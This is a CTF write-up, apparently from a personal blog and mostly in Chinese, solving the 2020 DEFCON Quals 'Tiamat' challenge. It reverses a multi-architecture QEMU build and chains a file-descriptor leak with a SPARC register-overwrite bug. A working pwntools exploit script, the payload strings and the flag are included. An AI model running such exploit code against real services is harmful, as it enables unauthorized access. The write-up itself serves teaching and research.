2020 DEFCON Quals - Tiamat

Sun, Jul 25, 2021 7-minute read

題目:Tiamat

Tiamat

Challenge Info

Protovision just launched their new licensing server yesterday and the sysop over at Pirate’s Harbor BBS already has a copy. You should download it and try to be the first one to hack it.

Dockerfile, service.conf, wrapper, liccheck.bin, qemooo, games, banner_fail

Solution

Dockerfile 有些資訊:

  • /flag:flag 存在這裡
  • /lic/flag 的 md5,所以由 a-f0-9 組成,共 0x20 字元
  • /$x.mz$x = {1,2,3,4,5,6,7,8,9,a,b,c,d,e,f},內容都一樣

1.mz ~ f.mz

1
2
3
4
5
STRANGE GAME
THE ONLY WINNING MOVE IS
NOT TO PLAY.


local 端執行服務的方法是:./qemooo liccheck.bin,可以看到一隻龍,隨便輸入程式會直接結束

liccheck.bin 丟 IDA 分析,發現只有少數幾個指令有解出來:

總之先分析 qemooo 的部分

qemooo = customized qemu

qemooo 有帶 symbol,丟 IDA 分析

tb_gen_code() 發現魔改 qemu 的痕跡:

QEMU 是個 JIT emulator,可以動態將各種架構的 binary 翻譯成 host machine 的指令執行,QEMU 不會一次翻譯一個指令,而是以 TB(Translataion Block)為單位,每次翻譯完一個 TB,QEMU 會將它暫存起來下次再遇到就可以直接執行,而沒有暫存的 TB 時,會呼叫 tb_gen_code() 進行轉換。

正常情況下 tb_gen_code() 會遍歷每條指令,並呼叫 gen_intermediate_code() 生成相對應的 IR(Intermediate Representation)

qemooo 則會根據一個固定陣列 tmap_arch 決定該指令,是哪種 architecture 跟 endian,再呼叫相對應的 gen_intemediate_code()

規則如下:

  • base_pc = 0x100d0
  • arch_index = (pc - base_pc) >> 2
  • tmap_arch:由 0~7 組成的陣列
    • 0:SPARC - little
    • 1:SPARC - big
    • 2:RISCV - little
    • 3:RISCV - big
    • 4:ARM - little
    • 5:ARM - big
    • 6:MIPS - little
    • 7:MIPS - big
  • 也就是 tmap_arch[arch_index] 決定第 arch_index 個 instruction 要怎麼解

換句話說,liccheck.bin 是由 8 種架構指令組成的 binary

值得一提的是,這四個架構指令長度都是 4 bytes(32bits),之後寫 disassembler 會簡單一些

Dump tmap_arch

  • .text section offset = 0xd0
  • .text section size = 4112 -> 1028 instructions
1
gefdump memory tmap_arch.bin tmap_arch tmap_arch+1028

Register Mapping

在不同架構下,同樣是 rsp 可能對應到不同個暫存器,所以在反編譯的結果中,增加 r0~r31 的表示會比較好 trace code,我的話是這樣表示:

1
  mips   little  0x100d0  sw  $zero, 8($sp)

轉換成:

1
  mips   little  0x100d0  sw  [zero, 0], 8([sp, 29])           

但我的腳本有些暫存器沒對應好 QQ

Register in QEMU and qemooo

QEMU 使用 array 來儲存暫存器的值,根據 host machine 架構不同會有些許差異,而 qemooo 使用下方的 gpr 來儲存(gpr[0] 對應 r0 以此類推)

其中 SPARC 的 register 儲存方式特別不一樣,它的大小為 QWORD 而不是 DWORD,這樣 gpr 顯然不夠存,所以還會用到 regwptr,對應方式如下:

這部分我主要是動態追出來的

Calling Convention:cpu_loop() -> do_syscall()

QEMU 用 cpu_loop() 模擬 cpu 執行,一般來說會進到 cpu_exec() 去執行 TB 翻譯跟執行不再出來,但在一些情況下例外,例如 interrupt,QEMU 使用軟體模擬 interrupt(helper_raise_exception()),它被呼叫的時候會跳出 cpu_exec() 執行 do_syscall()

qemooo 會根據 cs->kvm_fd(也就是 tmap_arch)去呼叫對應架構的 do_syscall(),這是它們的關係:

1
2
3
4
   0x0000000000286196 <+1378>:  call   0x370cf3 <do_syscall> // 6, 7 -> MIPS
   0x0000000000286b5b <+3879>:  call   0x370cf3 <do_syscall> // 4, 5 -> ARM
   0x0000000000286d9d <+4457>:  call   0x370cf3 <do_syscall> // 2, 3 -> RISCV
   0x000000000028700c <+5080>:  call   0x370cf3 <do_syscall> // 0, 1 -> SPARC

靜態看的話要修一下 switch case(因為 switch case 太大),或直接看組語

附上簡單的圖解(Edit/Other/Specify switch idom

下面是四個架構的 do_syscall()

SPARC(offset 1000)

這邊是用 regwptr

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 reta = do_syscall(
     env,
     env->active_tc.gpr[2] + 1000,
     *env->active_tc.regwptr,
     env->active_tc.regwptr[2],
     env->active_tc.regwptr[4],
     env->active_tc.regwptr[6],
     env->active_tc.regwptr[8],
     env->active_tc.regwptr[10],
     0,
 0);

RISCV(offset 500)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
ret = do_syscall(                   // cpu_loop+4457
    env,
    env->active_tc.gpr[17] + 500,
    env->active_tc.gpr[10],
    env->active_tc.gpr[11],
    env->active_tc.gpr[12],
    env->active_tc.gpr[13],
    env->active_tc.gpr[14],
    env->active_tc.gpr[15],
    0,
0);

ARM(offset 0)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
abi_long __cdecl do_syscall(
    env, 
    env->active_tc.gpr[7], 
    env->active_tc.gpr[0], 
    env->active_tc.gpr[1], 
    env->active_tc.gpr[2], 
    env->active_tc.gpr[3], 
    env->active_tc.gpr[4], 
    env->active_tc.gpr[5], 
    0, 
    0
)

MIPS(offset 4000)

這邊的 offset 要在呼叫時自己加上

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
abi_long __cdecl do_syscall(
    env, 
    env->active_tc.gpr[2], 
    env->active_tc.gpr[4], 
    env->active_tc.gpr[5], 
    env->active_tc.gpr[6], 
    env->active_tc.gpr[7], 
    arg5 = 0, 
    arg6 = 0, 
    arg7 = 0, 
    arg8 = 0
)

除了 system call 參數之外回傳值也要注意,我這邊沒放就是了

Syscall Number: do_syscall() -> do_syscall1()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
do_syscall1(
    void *cpu_env, 
    int num, 
    abi_long arg1, 
    abi_long arg2, 
    abi_long arg3, 
    abi_long arg4, 
    abi_long arg5, 
    abi_long arg6, 
    abi_long arg7, 
    abi_long arg8
)

根據 num 決定要呼叫哪個 system call,有個超大 switch case 結構,跟前面一樣 case 超過五個所以編譯被使用 jump table 優化,IDA 判斷不出來,要自己修復,可以找到 system call number 跟 system call 的對應

下圖是 sys_write 的對應,我沒有全部 syscall 都確認過,但應該會照 QEMU 原始碼 linux-user/<arch>/ 裡面的 system call table,然後加一個 offset(0, 500, 1000, 4000)變成新的 system call table

qemooo Summary

看完可能會有點混亂?統整一下上面分析的內容:

  • gpr, regwptr 都存在 TCState 中,用來模擬暫存器
  • SPARC 每個暫存器佔 8 bytes(QWORD)
  • ARM 的 r[0] 會存 syscall 回傳值,也就是一個能使用的暫存器
  • 其他架構的 r0 就是常數 0

r[i] = gpr[i], ex[i] = regwptr[i]


qemooo 的行為大致理解了,接下來是分析 liccheck.bin 的行為

Customized Disassembler

顯然要靜態分析 liccheck.bin 現有工具並不管用,我是用 python + capstone 手寫 disassembler

安裝 capstone 時要注意一下,master branch 版本沒有支援 riscv,要用 next 的版本

1
2
3
4
5
git clone https://github.com/aquynh/capstone
cd capstone/
git checkout origin/next
cd bindings/python/
python3 setup.py install

如果需要的話,我的腳本放這裡:gist link

為了要統一暫存器,我又寫了一個腳本直接做替換,比較好的做法應該是改 capstone,總之是垃圾 code 小心服用 QAQ

使用方法:

1
2
python3 dec.py > dec.ans
python3 register_replace.py

並且安裝 VSCode ANSI Colors 插件

檢視 dec-re.ans 然後按右上角按鈕,就可以看到上色的結果

Dynamically Trace Host Machine Code

1
2
3
4
5
6
7
8
$ gdb qemooo
gefgef config context.enable 0
gefdisplay/20i itb->tc.ptr
gefdisplay itb->pc
gefb cpu_tb_exec
gefr liccheck.bin

gefc

這樣就能靜態動態一起看(順便把我沒弄好的暫存器對應修好


liccheck.bin Behavior

最後發現這是一個 menu 題

有幾個暫存器會被拿來做特殊使用:

  • r[15]:存 4 bytes random number
  • mem[r[29]]:輸入的 license(後面稱作 input
  • mem[r[29] + 4]:xor 過後 /lic 的內容

這邊簡單列幾個重要的 address:

  • 0x105d4
    • r[10]:buffer to print
    • r[11]:print size
    • 相當於 write(1, r[10], r[11])
  • 0x10198:應該算是 menu 的 main function
    • 先要輸入 1 個字元存到 r[29] + 8(也就是選一個選項)
    • 輸入是 g 的話,直接結束(exit()

總共有 7 個選項:

  • j
    • 要求再輸入 6 bytes(oshua\n)存在 mem[r[29] + 0x14] -> 0x32004
    • 會看到訊息 GREETINGS PROFESSOR FALKEN.\n\nREADY\n
  • e
    • 要求輸入 32 bytes 的 license key,並且要在 0 ~ f 範圍內
    • 將結果存在 mem[r[29]]
  • l
    • 檢查 mem[r[29] + 0x14] 前 4 bytes 為 oshu,否則結束(也就是要先通過 j 才能用)
    • 接下來又是個菜單,每次輸入 1-9a-f,會打開特定 .mz 檔,然後輸出內容,內容從 Dockerfile 就知道了,都是垃圾
  • n
    • /dev/urandom 讀 4 bytes 存到 r[15]
    • 最多執行 0x18 次(ex[28] -= 1
  • p
    • 將 license key 印出來(從 mem[r[29]] 開始共 0x20 bytes)
  • r
    • 直接跳回菜單開頭,沒啥用
  • v
    • 要求 mem[r[29]] 不可以為 0,否則結束(也就是要先 e 輸入 license 才能用)
    • 最多執行 8 次(ex[30] -= 1
    • 讀入 /lic 0x20 bytes,儲存在 0x32024,也就是 input 後面
    • 每次 4 bytes 用 r[15][0x32024] 做 xor(r[15]:random number)
    • 如果 inputxor /lic 一樣,就讀出 /flag 並印出
    • 否則輸出 Authorization failed!\n 然後跳回菜單

知道流程,接下來就是找 bug 的時間了


Bug 1:Leak xor /lic

前情提要,我使用 arm[0] 代表 0 號暫存器,r[0] 就單純是常數 0

p 使用到 arm[0] 作為 print 的長度,並且 xor /lic 存在 input 後面,所以只要能控制 arm[0],就能 leak /lic

n0x1065c 使用 arm 呼叫 open system call,會把回傳值 fd 存在 arm[0],並且直到跳回 menu 都不會被改掉

除此之外,有幾個地方 open 之後沒有 close,這會讓 fd 增加(每次 +1):

  • v
    • 0x10434 附近,單純沒有 close 的 syscall
    • 0x10520 附近,單純沒有 close 的 syscall(是在 print flag 的時候,所以這沒用)
  • n
    • 雖然 0x10670 看起來有 syscall,但 mips 的 syscall number 要手動加 4000,也就是 4006 才會呼叫 close system call,而不是 6

v 可以用 0x8 次,n 可以用 0x18 次,而且 fd 會從 3 開始增加,所以完全可以把 fd 控制到 0x20,然後更改 r[0],最後 leak 出 xor /lic

這是 payload:

1
'e' + 'A'*0x20 + 'v'*6 + 'n'*0x17 + 'p'

Find All Possible Licences

因為 /lic 的每個字元會在 0 ~ f 範圍,可以寫腳本爆出所有可能的 license

可能性依照 /lic(或是說 /flag)而定,用 docker image archiveooo/pub:tiamat 版本的話只有 2 種可能的 license

但這樣還不能拿到 flag,因為 input 會拿去跟 xor /lic 做比較,但是輸入有範圍限制(0 ~ f),xor /lic 很有可能超出這個範圍

Bug 2:Set r[15](random number) to 0

r[15] = 0 的話,選 v 的時候 xor /lic 值就跟 /lic 一樣了

j 選項裡面的這個指令可以達成這件事,因為 SPARC 使用 QWORD 進行運算,也就是運算不超過 DWORD 範圍時 r[15] 會被歸零

Solve!

集合上面的東西寫腳本,搞定:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from itertools import product
import numpy as np
from re import search


class C:
    red = "\x1b[38;5;1m"
    green = "\x1b[38;5;2m"
    yellow = "\x1b[38;5;3m"
    blue = "\x1b[38;5;4m"
    gray = "\x1b[38;5;8m"
    clear = "\x1b[0m"


def connect_remote(payload):
    r = remote('remote_domain_or_ip_:-)', 5000)
    r.sendline(payload)
    return r


def m_log(color, char, content):
    return print(f"[{color}{char}{C.clear}]", content)


def varify_lic(lic):
    m_log(C.yellow, '~', f"Trying license: {lic}")
    r = connect_remote(payload=f'e{lic}' + 'joshua\n' + 'v')
    recv = r.recvall().decode()
    r.close()
    res = search(r'OOO{.*}', recv)
    if res:
        m_log(C.green, '!', f"Flag: {res.group()}")
        exit()


context.log_level = 'WARNING'

'''get encrypted license'''
r = connect_remote(payload=f'e{"A"*0x20}' + 'v'*6 + 'n'*0x17 + 'p')
r.recvuntil('A'*0x20)
enc_lic = r.recvuntil('\n', drop=True)
r.close()
m_log(C.blue, '+', f'Get encrypted license: {len(enc_lic)} {enc_lic}')
if len(enc_lic) != 32:
    m_log(C.red, '!', 'Just try again!!!')
    exit()

'''gen possible char list'''
p_list = []
for i in range(4):
    temp_list = []
    for g_lic in '0123456789abcdef':
        g_rand = ord(g_lic) ^ enc_lic[i]
        temp_list.append(g_lic)

        for j in range(1, 8):
            idx = i + j * 4
            g_lic = chr(g_rand ^ enc_lic[idx])
            if g_lic in '0123456789abcdef':
                temp_list[-1] += g_lic
            else:
                temp_list.pop()
                break
    p_list.append(temp_list)

'''gen possible lic and varify'''
for p in product(p_list[0], p_list[1], p_list[2], p_list[3]):
    p_lic = ''.join(list(np.asarray([el for el in ''.join(p)]).reshape(4, 8).T.reshape(32)))
    varify_lic(p_lic)

# license: 876d31966ca96957d82f05349a366c72

Offical Hint After the Context

To complete the challenge, it is necessary to figure out how qemooo implements the various architectures and find the bugs that result from the interaction between them.

  1. SPARC, RISCV, MIPS all use a hardwired 0 in r0; however, for ARM the r0 register is where the syscall results are stored.
  2. SPARC registers skip every other one because it uses 64-bit register values, which means on a mov it will overwrite the adjacent register.
  3. The file close for one of the actions was the syscall value for a different architecure.
  4. Another action failed to close the file. Good luck!

Flag

OOO{Together well go all the way}